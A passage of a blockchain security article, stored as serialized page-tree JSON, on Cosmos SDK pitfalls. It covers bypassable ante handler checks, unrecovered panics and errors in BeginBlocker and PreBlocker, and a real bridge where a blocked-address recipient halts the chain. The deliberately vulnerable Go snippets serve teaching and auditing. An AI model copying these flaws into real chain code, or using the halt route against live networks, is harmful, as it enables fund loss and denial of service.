option\"",{"type":21,"tag":198,"props":80985,"children":80986},{"style":211},[80987],{"type":27,"value":257},{"type":21,"tag":198,"props":80989,"children":80990},{"class":200,"line":24353},[80991],{"type":21,"tag":198,"props":80992,"children":80993},{"style":211},[80994],{"type":27,"value":80876},{"type":21,"tag":198,"props":80996,"children":80997},{"class":200,"line":24362},[80998],{"type":21,"tag":198,"props":80999,"children":81000},{"style":211},[81001],{"type":27,"value":71451},{"type":21,"tag":198,"props":81003,"children":81004},{"class":200,"line":24404},[81005],{"type":21,"tag":198,"props":81006,"children":81007},{"emptyLinePlaceholder":16},[81008],{"type":27,"value":1283},{"type":21,"tag":198,"props":81010,"children":81011},{"class":200,"line":24437},[81012,81016,81020,81024,81028,81032,81036,81040,81044],{"type":21,"tag":198,"props":81013,"children":81014},{"style":640},[81015],{"type":27,"value":61106},{"type":21,"tag":198,"props":81017,"children":81018},{"style":698},[81019],{"type":27,"value":80505},{"type":21,"tag":198,"props":81021,"children":81022},{"style":211},[81023],{"type":27,"value":706},{"type":21,"tag":198,"props":81025,"children":81026},{"style":226},[81027],{"type":27,"value":21075},{"type":21,"tag":198,"props":81029,"children":81030},{"style":211},[81031],{"type":27,"value":828},{"type":21,"tag":198,"props":81033,"children":81034},{"style":226},[81035],{"type":27,"value":79563},{"type":21,"tag":198,"props":81037,"children":81038},{"style":211},[81039],{"type":27,"value":828},{"type":21,"tag":198,"props":81041,"children":81042},{"style":226},[81043],{"type":27,"value":80443},{"type":21,"tag":198,"props":81045,"children":81046},{"style":211},[81047],{"type":27,"value":789},{"type":21,"tag":198,"props":81049,"children":81050},{"class":200,"line":24445},[81051],{"type":21,"tag":198,"props":81052,"children":81053},{"style":211},[81054],{"type":27,"value":59262},{"type":21,"tag":198,"props":81056,"children":81057},{"class":200,"line":24453},[81058],{"type":21,"tag":198,"props":81059,"children":81060},{"style":211},[81061],{"type":27,"value":1160},{"type":21,"tag":198,"props":81063,"children":81064},{"class":200,"line":24462},[81065],{"type":21,"tag":198,"props":81066,"children":81067},{"emptyLinePlaceholder":16},[81068],{"type":27,"value":1283},{"type":21,"tag":198,"props":81070,"children":81071},{"class":200,"line":24538},[81072],{"type":21,"tag":198,"props":81073,"children":81074},{"style":1233},[81075],{"type":27,"value":81076}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":21,"tag":198,"props":81078,"children":81079},{"class":200,"line":24571},[81080],{"type":21,"tag":198,"props":81081,"children":81082},{"emptyLinePlaceholder":16},[81083],{"type":27,"value":1283},{"type":21,"tag":198,"props":81085,"children":81086},{"class":200,"line":24579},[81087,81092,81096,81100,81104],{"type":21,"tag":198,"props":81088,"children":81089},{"style":640},[81090],{"type":27,"value":81091}," switch",{"type":21,"tag":198,"props":81093,"children":81094},{"style":226},[81095],{"type":27,"value":68407},{"type":21,"tag":198,"props":81097,"children":81098},{"style":211},[81099],{"type":27,"value":79162},{"type":21,"tag":198,"props":81101,"children":81102},{"style":249},[81103],{"type":27,"value":33535},{"type":21,"tag":198,"props":81105,"children":81106},{"style":211},[81107],{"type":27,"value":668},{"type":21,"tag":198,"props":81109,"children":81110},{"class":200,"line":24587},[81111,81116,81120,81124,81128],{"type":21,"tag":198,"props":81112,"children":81113},{"style":640},[81114],{"type":27,"value":81115}," case",{"type":21,"tag":198,"props":81117,"children":81118},{"style":1966},[81119],{"type":27,"value":79023},{"type":21,"tag":198,"props":81121,"children":81122},{"style":211},[81123],{"type":27,"value":658},{"type":21,"tag":198,"props":81125,"children":81126},{"style":1966},[81127],{"type":27,"value":79056},{"type":21,"tag":198,"props":81129,"children":81130},{"style":211},[81131],{"type":27,"value":6381},{"type":21,"tag":198,"props":81133,"children":81134},{"class":200,"line":24624},[81135,81140,81144,81148,81152,81156],{"type":21,"tag":198,"props":81136,"children":81137},{"style":226},[81138],{"type":27,"value":81139}," anteHandler",{"type":21,"tag":198,"props":81141,"children":81142},{"style":683},[81143],{"type":27,"value":979},{"type":21,"tag":198,"props":81145,"children":81146},{"style":226},[81147],{"type":27,"value":79023},{"type":21,"tag":198,"props":81149,"children":81150},{"style":211},[81151],{"type":27,"value":658},{"type":21,"tag":198,"props":81153,"children":81154},{"style":698},[81155],{"type":27,"value":80814},{"type":21,"tag":198,"props":81157,"children":81158},{"style":211},[81159],{"type":27,"value":4268},{"type":21,"tag":198,"props":81161,"children":81162},{"class":200,"line":24637},[81163,81168,81172,81177,81181],{"type":21,"tag":198,"props":81164,"children":81165},{"style":226},[81166],{"type":27,"value":81167}," authante",{"type":21,"tag":198,"props":81169,"children":81170},{"style":211},[81171],{"type":27,"value":658},{"type":21,"tag":198,"props":81173,"children":81174},{"style":698},[81175],{"type":27,"value":81176},"NewSetUpContextDecorator",{"type":21,"tag":198,"props":81178,"children":81179},{"style":211},[81180],{"type":27,"value":19178},{"type":21,"tag":198,"props":81182,"children":81183},{"style":1233},[81184],{"type":27,"value":79677},{"type":21,"tag":198,"props":81186,"children":81187},{"class":200,"line":24650},[81188],{"type":21,"tag":198,"props":81189,"children":81190},{"style":683},[81191],{"type":27,"value":81192}," ...\n",{"type":21,"tag":198,"props":81194,"children":81195},{"class":200,"line":24663},[81196,81200,81204,81209,81213,81217,81221],{"type":21,"tag":198,"props":81197,"children":81198},{"style":226},[81199],{"type":27,"value":81167},{"type":21,"tag":198,"props":81201,"children":81202},{"style":211},[81203],{"type":27,"value":658},{"type":21,"tag":198,"props":81205,"children":81206},{"style":698},[81207],{"type":27,"value":81208},"NewIncrementSequenceDecorator",{"type":21,"tag":198,"props":81210,"children":81211},{"style":211},[81212],{"type":27,"value":706},{"type":21,"tag":198,"props":81214,"children":81215},{"style":226},[81216],{"type":27,"value":80859},{"type":21,"tag":198,"props":81218,"children":81219},{"style":211},[81220],{"type":27,"value":15982},{"type":21,"tag":198,"props":81222,"children":81223},{"style":1233},[81224],{"type":27,"value":81225},"// innermost AnteDecorator\n",{"type":21,"tag":198,"props":81227,"children":81228},{"class":200,"line":24717},[81229],{"type":21,"tag":198,"props":81230,"children":81231},{"style":211},[81232],{"type":27,"value":77897},{"type":21,"tag":198,"props":81234,"children":81235},{"class":200,"line":24726},[81236,81241],{"type":21,"tag":198,"props":81237,"children":81238},{"style":640},[81239],{"type":27,"value":81240}," default",{"type":21,"tag":198,"props":81242,"children":81243},{"style":211},[81244],{"type":27,"value":6381},{"type":21,"tag":198,"props":81246,"children":81247},{"class":200,"line":33067},[81248,81252,81256,81260,81264,81268,81272],{"type":21,"tag":198,"props":81249,"children":81250},{"style":640},[81251],{"type":27,"value":79458},{"type":21,"tag":198,"props":81253,"children":81254},{"style":226},[81255],{"type":27,"value":26647},{"type":21,"tag":198,"props":81257,"children":81258},{"style":211},[81259],{"type":27,"value":828},{"type":21,"tag":198,"props":81261,"children":81262},{"style":226},[81263],{"type":27,"value":80916},{"type":21,"tag":198,"props":81265,"children":81266},{"style":211},[81267],{"type":27,"value":658},{"type":21,"tag":198,"props":81269,"children":81270},{"style":698},[81271],{"type":27,"value":80925},{"type":21,"tag":198,"props":81273,"children":81274},{"style":211},[81275],{"type":27,"value":4268},{"type":21,"tag":198,"props":81277,"children":81278},{"class":200,"line":33088},[81279,81284,81288,81293,81297,81301,81305,81310,81314,81319,81323,81327],{"type":21,"tag":198,"props":81280,"children":81281},{"style":226},[81282],{"type":27,"value":81283}," sdkerrors",{"type":21,"tag":198,"props":81285,"children":81286},{"style":211},[81287],{"type":27,"value":658},{"type":21,"tag":198,"props":81289,"children":81290},{"style":698},[81291],{"type":27,"value":81292},"Wrapf",{"type":21,"tag":198,"props":81294,"children":81295},{"style":211},[81296],{"type":27,"value":706},{"type":21,"tag":198,"props":81298,"children":81299},{"style":226},[81300],{"type":27,"value":80954},{"type":21,"tag":198,"props":81302,"children":81303},{"style":211},[81304],{"type":27,"value":658},{"type":21,"tag":198,"props":81306,"children":81307},{"style":226},[81308],{"type":27,"value":81309},"ErrUnknownRequest",{"type":21,"tag":198,"props":81311,"children":81312},{"style":211},[81313],{"type":27,"value":828},{"type":21,"tag":198,"props":81315,"children":81316},{"style":205},[81317],{"type":27,"value":81318},"\"invalid transaction type: %T\"",{"type":21,"tag":198,"props":81320,"children":81321},{"style":211},[81322],{"type":27,"value":828},{"type":21,"tag":198,"props":81324,"children":81325},{"style":226},[81326],{"type":27,"value":79563},{"type":21,"tag":198,"props":81328,"children":81329},{"style":211},[81330],{"type":27,"value":7548},{"type":21,"tag":198,"props":81332,"children":81334},{"class":200,"line":81333},53,[81335,81340],{"type":21,"tag":198,"props":81336,"children":81337},{"style":205},[81338],{"type":27,"value":81339}," \"transaction is not an SDK tx\"",{"type":21,"tag":198,"props":81341,"children":81342},{"style":211},[81343],{"type":27,"value":257},{"type":21,"tag":198,"props":81345,"children":81347},{"class":200,"line":81346},54,[81348],{"type":21,"tag":198,"props":81349,"children":81350},{"style":211},[81351],{"type":27,"value":77897},{"type":21,"tag":198,"props":81353,"children":81355},{"class":200,"line":81354},55,[81356],{"type":21,"tag":198,"props":81357,"children":81358},{"style":211},[81359],{"type":27,"value":1160},{"type":21,"tag":198,"props":81361,"children":81363},{"class":200,"line":81362},56,[81364],{"type":21,"tag":198,"props":81365,"children":81366},{"emptyLinePlaceholder":16},[81367],{"type":27,"value":1283},{"type":21,"tag":198,"props":81369,"children":81371},{"class":200,"line":81370},57,[81372,81376,81380,81384,81388,81392,81396,81400,81404],{"type":21,"tag":198,"props":81373,"children":81374},{"style":640},[81375],{"type":27,"value":16547},{"type":21,"tag":198,"props":81377,"children":81378},{"style":698},[81379],{"type":27,"value":80505},{"type":21,"tag":198,"props":81381,"children":81382},{"style":211},[81383],{"type":27,"value":706},{"type":21,"tag":198,"props":81385,"children":81386},{"style":226},[81387],{"type":27,"value":21075},{"type":21,"tag":198,"props":81389,"children":81390},{"style":211},[81391],{"type":27,"value":828},{"type":21,"tag":198,"props":81393,"children":81394},{"style":226},[81395],{"type":27,"value":79563},{"type":21,"tag":198,"props":81397,"children":81398},{"style":211},[81399],{"type":27,"value":828},{"type":21,"tag":198,"props":81401,"children":81402},{"style":226},[81403],{"type":27,"value":80443},{"type":21,"tag":198,"props":81405,"children":81406},{"style":211},[81407],{"type":27,"value":789},{"type":21,"tag":198,"props":81409,"children":81411},{"class":200,"line":81410},58,[81412],{"type":21,"tag":198,"props":81413,"children":81414},{"style":211},[81415],{"type":27,"value":880},{"type":21,"tag":198,"props":81417,"children":81419},{"class":200,"line":81418},59,[81420],{"type":21,"tag":198,"props":81421,"children":81422},{"style":211},[81423],{"type":27,"value":1120},{"type":21,"tag":30,"props":81425,"children":81426},{},[81427,81429,81434,81436,81443,81444,81451],{"type":27,"value":81428},"Additional examples of incorrect ",{"type":21,"tag":194,"props":81430,"children":81432},{"className":81431},[],[81433],{"type":27,"value":78852},{"type":27,"value":81435}," usage include ",{"type":21,"tag":34,"props":81437,"children":81440},{"href":81438,"rel":81439},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[38],[81441],{"type":27,"value":81442},"yet more bypassable checks and loss of funds",{"type":27,"value":11801},{"type":21,"tag":34,"props":81445,"children":81448},{"href":81446,"rel":81447},"https://github.com/cosmos/ibc-go/issues/853",[38],[81449],{"type":27,"value":81450},"incorrect data passing between blockchains",{"type":27,"value":658},{"type":21,"tag":22,"props":81453,"children":81455},{"id":81454},"errors-panics-i-can-handle-it",[81456],{"type":27,"value":81457},"Errors? Panics? I can handle it",{"type":21,"tag":30,"props":81459,"children":81460},{},[81461],{"type":27,"value":81462},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":21,"tag":30,"props":81464,"children":81465},{},[81466],{"type":27,"value":81467},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":21,"tag":30,"props":81469,"children":81470},{},[81471,81473,81479,81481,81486],{"type":27,"value":81472},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":21,"tag":194,"props":81474,"children":81476},{"className":81475},[],[81477],{"type":27,"value":81478},"k.keeper.TotalReward()",{"type":27,"value":81480}," returns zero, the ",{"type":21,"tag":194,"props":81482,"children":81484},{"className":81483},[],[81485],{"type":27,"value":58323},{"type":27,"value":81487}," execution will simply rollback as if nothing has happened.",{"type":21,"tag":187,"props":81489,"children":81491},{"code":81490,"language":76546,"meta":7,"className":76547,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[81492],{"type":21,"tag":194,"props":81493,"children":81494},{"__ignoreMap":7},[81495,81528,81551,81579,81615,81622,81691,81729,81736,81768],{"type":21,"tag":198,"props":81496,"children":81497},{"class":200,"line":201},[81498,81502,81506,81511,81515,81519,81524],{"type":21,"tag":198,"props":81499,"children":81500},{"style":249},[81501],{"type":27,"value":76682},{"type":21,"tag":198,"props":81503,"children":81504},{"style":211},[81505],{"type":27,"value":648},{"type":21,"tag":198,"props":81507,"children":81508},{"style":226},[81509],{"type":27,"value":81510},"k ",{"type":21,"tag":198,"props":81512,"children":81513},{"style":1966},[81514],{"type":27,"value":76696},{"type":21,"tag":198,"props":81516,"children":81517},{"style":211},[81518],{"type":27,"value":1541},{"type":21,"tag":198,"props":81520,"children":81521},{"style":698},[81522],{"type":27,"value":81523},"AllocateReward",{"type":21,"tag":198,"props":81525,"children":81526},{"style":211},[81527],{"type":27,"value":4268},{"type":21,"tag":198,"props":81529,"children":81530},{"class":200,"line":217},[81531,81535,81539,81543,81547],{"type":21,"tag":198,"props":81532,"children":81533},{"style":226},[81534],{"type":27,"value":76717},{"type":21,"tag":198,"props":81536,"children":81537},{"style":1966},[81538],{"type":27,"value":76722},{"type":21,"tag":198,"props":81540,"children":81541},{"style":211},[81542],{"type":27,"value":658},{"type":21,"tag":198,"props":81544,"children":81545},{"style":1966},[81546],{"type":27,"value":76731},{"type":21,"tag":198,"props":81548,"children":81549},{"style":211},[81550],{"type":27,"value":257},{"type":21,"tag":198,"props":81552,"children":81553},{"class":200,"line":236},[81554,81558,81562,81566,81570,81575],{"type":21,"tag":198,"props":81555,"children":81556},{"style":226},[81557],{"type":27,"value":76743},{"type":21,"tag":198,"props":81559,"children":81560},{"style":683},[81561],{"type":27,"value":10626},{"type":21,"tag":198,"props":81563,"children":81564},{"style":1966},[81565],{"type":27,"value":6572},{"type":21,"tag":198,"props":81567,"children":81568},{"style":211},[81569],{"type":27,"value":658},{"type":21,"tag":198,"props":81571,"children":81572},{"style":1966},[81573],{"type":27,"value":81574},"MsgAllocateReward",{"type":21,"tag":198,"props":81576,"children":81577},{"style":211},[81578],{"type":27,"value":789},{"type":21,"tag":198,"props":81580,"children":81581},{"class":200,"line":260},[81582,81586,81590,81594,81598,81603,81607,81611],{"type":21,"tag":198,"props":81583,"children":81584},{"style":211},[81585],{"type":27,"value":706},{"type":21,"tag":198,"props":81587,"children":81588},{"style":683},[81589],{"type":27,"value":5383},{"type":21,"tag":198,"props":81591,"children":81592},{"style":1966},[81593],{"type":27,"value":6572},{"type":21,"tag":198,"props":81595,"children":81596},{"style":211},[81597],{"type":27,"value":658},{"type":21,"tag":198,"props":81599,"children":81600},{"style":1966},[81601],{"type":27,"value":81602},"MsgAllocatRewardResponse",{"type":21,"tag":198,"props":81604,"children":81605},{"style":211},[81606],{"type":27,"value":828},{"type":21,"tag":198,"props":81608,"children":81609},{"style":1966},[81610],{"type":27,"value":15668},{"type":21,"tag":198,"props":81612,"children":81613},{"style":211},[81614],{"type":27,"value":668},{"type":21,"tag":198,"props":81616,"children":81617},{"class":200,"line":281},[81618],{"type":21,"tag":198,"props":81619,"children":81620},{"emptyLinePlaceholder":16},[81621],{"type":27,"value":1283},{"type":21,"tag":198,"props":81623,"children":81624},{"class":200,"line":302},[81625,81630,81634,81639,81643,81648,81652,81657,81661,81665,81670,81674,81678,81682,81687],{"type":21,"tag":198,"props":81626,"children":81627},{"style":226},[81628],{"type":27,"value":81629}," RewardPerShare",{"type":21,"tag":198,"props":81631,"children":81632},{"style":683},[81633],{"type":27,"value":76798},{"type":21,"tag":198,"props":81635,"children":81636},{"style":226},[81637],{"type":27,"value":81638}," k",{"type":21,"tag":198,"props":81640,"children":81641},{"style":211},[81642],{"type":27,"value":658},{"type":21,"tag":198,"props":81644,"children":81645},{"style":226},[81646],{"type":27,"value":81647},"keeper",{"type":21,"tag":198,"props":81649,"children":81650},{"style":211},[81651],{"type":27,"value":658},{"type":21,"tag":198,"props":81653,"children":81654},{"style":698},[81655],{"type":27,"value":81656},"Shares",{"type":21,"tag":198,"props":81658,"children":81659},{"style":211},[81660],{"type":27,"value":14850},{"type":21,"tag":198,"props":81662,"children":81663},{"style":683},[81664],{"type":27,"value":2232},{"type":21,"tag":198,"props":81666,"children":81667},{"style":226},[81668],{"type":27,"value":81669}," k",{"type":21,"tag":198,"props":81671,"children":81672},{"style":211},[81673],{"type":27,"value":658},{"type":21,"tag":198,"props":81675,"children":81676},{"style":226},[81677],{"type":27,"value":81647},{"type":21,"tag":198,"props":81679,"children":81680},{"style":211},[81681],{"type":27,"value":658},{"type":21,"tag":198,"props":81683,"children":81684},{"style":698},[81685],{"type":27,"value":81686},"TotalReward",{"type":21,"tag":198,"props":81688,"children":81689},{"style":211},[81690],{"type":27,"value":1837},{"type":21,"tag":198,"props":81692,"children":81693},{"class":200,"line":323},[81694,81699,81703,81707,81711,81716,81720,81725],{"type":21,"tag":198,"props":81695,"children":81696},{"style":226},[81697],{"type":27,"value":81698}," k",{"type":21,"tag":198,"props":81700,"children":81701},{"style":211},[81702],{"type":27,"value":658},{"type":21,"tag":198,"props":81704,"children":81705},{"style":226},[81706],{"type":27,"value":81647},{"type":21,"tag":198,"props":81708,"children":81709},{"style":211},[81710],{"type":27,"value":658},{"type":21,"tag":198,"props":81712,"children":81713},{"style":698},[81714],{"type":27,"value":81715},"DistributeReward",{"type":21,"tag":198,"props":81717,"children":81718},{"style":211},[81719],{"type":27,"value":706},{"type":21,"tag":198,"props":81721,"children":81722},{"style":226},[81723],{"type":27,"value":81724},"RewardPerShare",{"type":21,"tag":198,"props":81726,"children":81727},{"style":211},[81728],{"type":27,"value":789},{"type":21,"tag":198,"props":81730,"children":81731},{"class":200,"line":344},[81732],{"type":21,"tag":198,"props":81733,"children":81734},{"emptyLinePlaceholder":16},[81735],{"type":27,"value":1283},{"type":21,"tag":198,"props":81737,"children":81738},{"class":200,"line":365},[81739,81743,81747,81751,81755,81760,81764],{"type":21,"tag":198,"props":81740,"children":81741},{"style":640},[81742],{"type":27,"value":1478},{"type":21,"tag":198,"props":81744,"children":81745},{"style":683},[81746],{"type":27,"value":7953},{"type":21,"tag":198,"props":81748,"children":81749},{"style":226},[81750],{"type":27,"value":6572},{"type":21,"tag":198,"props":81752,"children":81753},{"style":211},[81754],{"type":27,"value":658},{"type":21,"tag":198,"props":81756,"children":81757},{"style":226},[81758],{"type":27,"value":81759},"MsgAllocateRewardResponse",{"type":21,"tag":198,"props":81761,"children":81762},{"style":211},[81763],{"type":27,"value":828},{"type":21,"tag":198,"props":81765,"children":81766},{"style":249},[81767],{"type":27,"value":77024},{"type":21,"tag":198,"props":81769,"children":81770},{"class":200,"line":386},[81771],{"type":21,"tag":198,"props":81772,"children":81773},{"style":211},[81774],{"type":27,"value":1120},{"type":21,"tag":30,"props":81776,"children":81777},{},[81778,81780,81786,81787,81793,81794,81800,81802,81807],{"type":27,"value":81779},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":21,"tag":194,"props":81781,"children":81783},{"className":81782},[],[81784],{"type":27,"value":81785},"PreBlocker",{"type":27,"value":828},{"type":21,"tag":194,"props":81788,"children":81790},{"className":81789},[],[81791],{"type":27,"value":81792},"BeginBlocker",{"type":27,"value":7299},{"type":21,"tag":194,"props":81795,"children":81797},{"className":81796},[],[81798],{"type":27,"value":81799},"EndBlocker",{"type":27,"value":81801},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":21,"tag":194,"props":81803,"children":81805},{"className":81804},[],[81806],{"type":27,"value":81792},{"type":27,"value":81808}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":21,"tag":187,"props":81810,"children":81812},{"code":81811,"language":76546,"meta":7,"className":76547,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[81813],{"type":21,"tag":194,"props":81814,"children":81815},{"__ignoreMap":7},[81816,81881,81888,81936,81964,81971,81983],{"type":21,"tag":198,"props":81817,"children":81818},{"class":200,"line":201},[81819,81823,81828,81832,81836,81840,81844,81848,81852,81856,81861,81865,81869,81873,81877],{"type":21,"tag":198,"props":81820,"children":81821},{"style":249},[81822],{"type":27,"value":76682},{"type":21,"tag":198,"props":81824,"children":81825},{"style":698},[81826],{"type":27,"value":81827}," BeginBlocker",{"type":21,"tag":198,"props":81829,"children":81830},{"style":211},[81831],{"type":27,"value":706},{"type":21,"tag":198,"props":81833,"children":81834},{"style":226},[81835],{"type":27,"value":21075},{"type":21,"tag":198,"props":81837,"children":81838},{"style":1966},[81839],{"type":27,"value":76722},{"type":21,"tag":198,"props":81841,"children":81842},{"style":211},[81843],{"type":27,"value":658},{"type":21,"tag":198,"props":81845,"children":81846},{"style":1966},[81847],{"type":27,"value":76731},{"type":21,"tag":198,"props":81849,"children":81850},{"style":211},[81851],{"type":27,"value":828},{"type":21,"tag":198,"props":81853,"children":81854},{"style":226},[81855],{"type":27,"value":81647},{"type":21,"tag":198,"props":81857,"children":81858},{"style":1966},[81859],{"type":27,"value":81860}," keeper",{"type":21,"tag":198,"props":81862,"children":81863},{"style":211},[81864],{"type":27,"value":658},{"type":21,"tag":198,"props":81866,"children":81867},{"style":1966},[81868],{"type":27,"value":80327},{"type":21,"tag":198,"props":81870,"children":81871},{"style":211},[81872],{"type":27,"value":1541},{"type":21,"tag":198,"props":81874,"children":81875},{"style":1966},[81876],{"type":27,"value":15668},{"type":21,"tag":198,"props":81878,"children":81879},{"style":211},[81880],{"type":27,"value":233},{"type":21,"tag":198,"props":81882,"children":81883},{"class":200,"line":217},[81884],{"type":21,"tag":198,"props":81885,"children":81886},{"emptyLinePlaceholder":16},[81887],{"type":27,"value":1283},{"type":21,"tag":198,"props":81889,"children":81890},{"class":200,"line":236},[81891,81895,81899,81903,81907,81911,81915,81919,81924,81928,81932],{"type":21,"tag":198,"props":81892,"children":81893},{"style":226},[81894],{"type":27,"value":81629},{"type":21,"tag":198,"props":81896,"children":81897},{"style":683},[81898],{"type":27,"value":76798},{"type":21,"tag":198,"props":81900,"children":81901},{"style":226},[81902],{"type":27,"value":81860},{"type":21,"tag":198,"props":81904,"children":81905},{"style":211},[81906],{"type":27,"value":658},{"type":21,"tag":198,"props":81908,"children":81909},{"style":698},[81910],{"type":27,"value":81656},{"type":21,"tag":198,"props":81912,"children":81913},{"style":211},[81914],{"type":27,"value":14850},{"type":21,"tag":198,"props":81916,"children":81917},{"style":683},[81918],{"type":27,"value":2232},{"type":21,"tag":198,"props":81920,"children":81921},{"style":226},[81922],{"type":27,"value":81923}," keeper",{"type":21,"tag":198,"props":81925,"children":81926},{"style":211},[81927],{"type":27,"value":658},{"type":21,"tag":198,"props":81929,"children":81930},{"style":698},[81931],{"type":27,"value":81686},{"type":21,"tag":198,"props":81933,"children":81934},{"style":211},[81935],{"type":27,"value":1837},{"type":21,"tag":198,"props":81937,"children":81938},{"class":200,"line":260},[81939,81944,81948,81952,81956,81960],{"type":21,"tag":198,"props":81940,"children":81941},{"style":226},[81942],{"type":27,"value":81943}," keeper",{"type":21,"tag":198,"props":81945,"children":81946},{"style":211},[81947],{"type":27,"value":658},{"type":21,"tag":198,"props":81949,"children":81950},{"style":698},[81951],{"type":27,"value":81715},{"type":21,"tag":198,"props":81953,"children":81954},{"style":211},[81955],{"type":27,"value":706},{"type":21,"tag":198,"props":81957,"children":81958},{"style":226},[81959],{"type":27,"value":81724},{"type":21,"tag":198,"props":81961,"children":81962},{"style":211},[81963],{"type":27,"value":789},{"type":21,"tag":198,"props":81965,"children":81966},{"class":200,"line":281},[81967],{"type":21,"tag":198,"props":81968,"children":81969},{"emptyLinePlaceholder":16},[81970],{"type":27,"value":1283},{"type":21,"tag":198,"props":81972,"children":81973},{"class":200,"line":302},[81974,81978],{"type":21,"tag":198,"props":81975,"children":81976},{"style":640},[81977],{"type":27,"value":53242},{"type":21,"tag":198,"props":81979,"children":81980},{"style":249},[81981],{"type":27,"value":81982}," nil\n",{"type":21,"tag":198,"props":81984,"children":81985},{"class":200,"line":323},[81986],{"type":21,"tag":198,"props":81987,"children":81988},{"style":211},[81989],{"type":27,"value":1120},{"type":21,"tag":59,"props":81991,"children":81993},{"id":81992},"real-world-examples-3",[81994],{"type":27,"value":77071},{"type":21,"tag":30,"props":81996,"children":81997},{},[81998],{"type":27,"value":81999},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":21,"tag":30,"props":82001,"children":82002},{},[82003,82005,82011,82013,82018,82020,82026,82028,82034,82036,82042],{"type":27,"value":82004},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":21,"tag":194,"props":82006,"children":82008},{"className":82007},[],[82009],{"type":27,"value":82010},"bankKeeper.SendCoinsFromModuleToAccount",{"type":27,"value":82012}," will be bubbled up through ",{"type":21,"tag":194,"props":82014,"children":82016},{"className":82015},[],[82017],{"type":27,"value":81785},{"type":27,"value":82019}," and halt the chain. It turns out an attacker can force ",{"type":21,"tag":194,"props":82021,"children":82023},{"className":82022},[],[82024],{"type":27,"value":82025},"SendCoinsFromModuleToAccount",{"type":27,"value":82027}," to return an error by setting ",{"type":21,"tag":194,"props":82029,"children":82031},{"className":82030},[],[82032],{"type":27,"value":82033},"recipient",{"type":27,"value":82035}," to some ",{"type":21,"tag":194,"props":82037,"children":82039},{"className":82038},[],[82040],{"type":27,"value":82041},"BlockedAddr",{"type":27,"value":82043},",rendering the code susceptible to DoS attacks.",{"type":21,"tag":30,"props":82045,"children":82046},{},[82047],{"type":21,"tag":34,"props":82048,"children":82051},{"href":82049,"rel":82050},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[38],[82052],{"type":27,"value":77121},{"type":21,"tag":187,"props":82054,"children":82056},{"code":82055,"language":76546,"meta":7,"className":76547,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[82057],{"type":21,"tag":194,"props":82058,"children":82059},{"__ignoreMap":7},[82060,82113,82128,82151,82181,82217,82225,82281,82305,82355,82362,82369,82376,82383,82390,82421,82444,82469,82484,82491,82528,82582,82605,82646,82653,82660,82711,82772,82795,82818,82830,82851,82863,82871,82878,82893,82901,82908,82915,82922,82929,82936,82967,82990,83015,83040,83055,83062,83099,83110,83131,83142,83154,83161,83184,83224,83231,83238],{"type":21,"tag":198,"props":82061,"children":82062},{"class":200,"line":201},[82063,82067,82071,82076,82080,82085,82089,82093,82097,82101,82105,82109],{"type":21,"tag":198,"props":82064,"children":82065},{"style":249},[82066],{"type":27,"value":76682},{"type":21,"tag":198,"props":82068,"children":82069},{"style":211},[82070],{"type":27,"value":648},{"type":21,"tag":198,"props":82072,"children":82073},{"style":226},[82074],{"type":27,"value":82075},"pbh 